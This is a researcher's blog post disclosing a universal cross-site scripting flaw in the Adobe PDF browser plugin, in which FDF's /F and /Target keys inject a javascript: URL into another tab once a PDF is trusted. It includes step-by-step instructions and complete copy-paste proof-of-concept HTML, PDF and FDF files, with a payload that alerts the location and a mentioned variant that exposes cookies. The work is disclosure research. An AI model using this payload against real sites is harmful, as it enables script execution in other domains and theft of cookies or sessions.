FDF: the file Forms Data Form
In this blogpost I disclose some additional
information about a vulnerability I showed during my presentation at Appsec
Belfast 2017.
In the presentation I showed that it is possible to
trigger JavaScript execution in any web page as soon as a PDF is trusted.
Although I am aware that a trusted PDF has quite a lot
of permissions, I want to explain in this post how FDF can be used to execute
JavaScript in a targeted domain.
!NOTE: THIS ONLY WORKS WITH THE ADOBE PDF BROWSER
PLUGIN!
What is FDF
In this post I am not going to talk about PDF at all,
as the used PDF for this attack does not matter. It just needs to be properly
rendered inside the browser and be hosted on the same domain as the injected
FDF (eg. your own server like http://attacker.com).
So what is FDF. FDF is a file structure, which allows
to exchange field values, Javascript, annotations (eg. comments) and other
information between PDFs. There are different ways to load this type of files
into a PDF, but I will focus on one particular as it is the simplest one.
It has a similar structure to PDF but I am not going
into any details. The reason being is that FDF defines two keys in his
root structure we are going to use for this attack:
/F: The source file or target file: the PDF document
file that this FDF file was exported from or is intended to be imported
into.
/Target: The name of a browser frame in which the
underlying PDF document is to be opened. This mimics the behavior of the target
attribute in HTML tags.
Basically these two keys allow us to define the PDF, which the FDF
belongs to and the window name it is currently loaded.
What do you think happens if we define the following keys:
/F (javascript:alert(location))
/Target (anywindowname)
As long as the PDF, which loads the FDF, is not
trusted, you will get a warning box that tells you that certain features are
blocked and you need to trust this PDF.
As soon as you trust the PDF, the specified URL in /F
key is actually injected in the targeted window name. If it happens to be that
the tab, with the specified name, has eg. google.com loaded, the JavaScript
will be executed in the context of google.com.
By looking at the specified index.html, you will see
that I use the PDF open parameters to load a FDF file. The specification for
this behaviour can be found here: PDF open parameters
But enough of the details. Here is a step by step
guide, with the payloads copy&paste ready:
1. Save index.html, test.pdf and test.fdf in the root
of your web server. My index.html script assumes your web server runs on
127.0.0.1.
2. Open http://127.0.0.1/index.html in IE (with the Adobe
PDF plugin installed)
3. Click: Load Victim Page (this opens a new tab)
4. Click: Load PDF
5. You will see a yellow warning sign. Click trust
this document once
6. Given that my PDF is really simple, you will get a
dialog: There was an error parsing this pdf document (just ignore it, you could
also use a valid PDF, but then I couldn't copy&paste it in my blog because
of the size)
7. After you clicked that you trusted the document
once, nothing will happen but the yellow warning sign is not displayed.
8. Click the UXSS button. An alert should show up in
the victim page (in my default example: google.com)
// Edit: https://twitter.com/evilcos was so kind to host the PoC on his webserver.
// He modified the FDF payload, so that document.cookie will be alerted
==> http://xssor.io/s/pdf.html
If any problems occur: Write me on twitter
@insertscript:
Note: Why I am disclosing this? It requires clicks and
yes I am aware that clickjacking could help but given that most of the time
users only need to click once or maybe twice to execute a local program, I feel
quite safe disclosing this vulnerability.
Maybe you find a way to bypass the warning
popup!
//index.html
<!DOCTYPE html>
<head>
<meta http-equiv="X-UA-Compatible"
content="IE=8" />
</head>
<body>
<h2>Enter URL you want to UXSS</h2>
<input name="url" type="text"
value="https://google.at" id="url"/>
<button value="Fire1"
onclick="step1()">Load Victim
page</button><br><br>
<h2> Yeah lets load the PDF</h2>
<h2> As you will see you need to click: trust
this document once</h2>
<button onclick="step2()">Load
PDF</button>
<br><br>
<h2>Click to alert the location of the
victim!</h2>
<button
onclick="step3()">UXSS</button>
<br><br>
<div id="placeholder"/>
<script>
function step1(){
w = window.open(url.value,"attack");
}
function step2(){
a = document.createElement("iframe");
a.height = 1000;
a.width = 1000;
a.src="/test.pdf#FDF=http://127.0.0.1//test.fdf"
placeholder.appendChild(a);
}
function step3(){
a = document.createElement("iframe");
a.height = 0;
a.width = 0;
a.frameborder = 0;
a.src="/test.pdf#FDF=http://127.0.0.1//test.fdf"
placeholder.appendChild(a);
}
</script>
//test.pdf
%PDF-1.1
trailer
<<
/Root 1 0 R
>>
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<<
/Type /Action
/S /URI
>>
endobj
%%EOF
//test.fdf
%FDF-1.2
%âãÏÓ
1 0 obj
<</FDF<</Annots[2 0 R]
/Target (attack)
/F (javascript:alert(location))
/ID[<9DE1D53EE27B8342ABAF121AB257E7EA><4370C7654ACB0D429DF932C95FF78175>]
>>/Type/Catalog>>
endobj
2 0 obj
<<
/C[1.0 1.0 1.0]
/Contents(HALL2O)
/CreationDate(D:20160821215706+02'00')
/DA(0.898 0.1333 0.2157 rg /Helv 12 Tf)
/DS(font: Helvetica,sans-serif 12.0pt;
text-align:left; color:#E52237 )
/F 4
/M(D:20160821215711+02'00')
/NM(e85d1cb2-2c79-40f5-a2a2-83708ab127c9)
/Page 0
/RC(<?xml version="1.0"?><body
xmlns="http://www.w3.org/1999/xhtml"
xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"
xfa:APIVersion="Acrobat:15.17.0" xfa:spec="2.0.2"
style="font-size:12.0pt;text-align:left;color:#FF0000;font-weight:normal;font-style:norm\
al;font-family:Helvetica,sans-serif;font-stretch:normal"><p
dir="ltr"><span
style="font-family:Helvetica">Hjj</span></p></body>)
/Rect[0 0 0 0]
/Subj(Textfeld)
/Subtype/FreeText
/T(johnny)
/Type/Annot
>>
endobj
trailer
<</Root 1 0 R>>
%%EOF